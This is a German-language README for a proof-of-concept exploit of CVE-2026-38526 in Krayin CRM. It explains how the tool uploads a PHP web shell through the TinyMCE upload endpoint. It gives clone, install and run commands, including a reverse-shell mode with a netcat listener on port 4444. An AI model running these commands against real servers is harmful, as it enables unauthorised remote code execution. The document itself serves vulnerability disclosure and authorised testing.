
Proof of Concept für CVE-2026-38526 in Krayin CRM <= v2.2.x. Beliebiger Datei-Upload, der zu Remote Code Execution führt.
Krayin CRM (≤ 2.2.x) – Unbeschränkter Datei-Upload, der zu Remote Code Execution führt.
Dieser PoC nutzt den verwundbaren TinyMCE-Upload-Endpunkt (/admin/tinymce/upload) aus, um eine PHP-Webshell hochzuladen und die Befehlsausführung auf dem Server zu erreichen.
git clone https://github.com/pawpic/CVE-2026-38526-POC
pip3 install requests beautifulsoup4
Verwendung
python3 exploit.py \
-u http://example.com \
-e [email protected] \
-p "example_pass" \
--lhost YOUR_IP \
--lport 4444
python3 exploit.py \
-u http://example.com \
-e [email protected] \
-p "example_pass" \
-c "whoami"
| Argument | Beschreibung | Erforderlich |
|---|---|---|
| -u, --url | Basis-URL des Ziels | Ja |
| -e, --email | Login-E-Mail | Ja |
| -p, --password | Login-Passwort | Ja |
| -c, --cmd | Einzelnen Befehl ausführen | Nein |
| --lhost | Ihre IP für die Reverse Shell | Ja (falls nicht --cmd verwendet wird) |
| --lport | Listening-Port | Nein (Standard: 4444) |
Listener starten:
nc -lvnp 4444
Den Exploit ausführen:
python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR
Dieser Exploit dient ausschließlich Bildungszwecken und autorisierten Penetrationstests. Die unbefugte Verwendung gegen Systeme, für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal.
Betroffene Versionen
Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526
Autor: pawpic Datum: 2026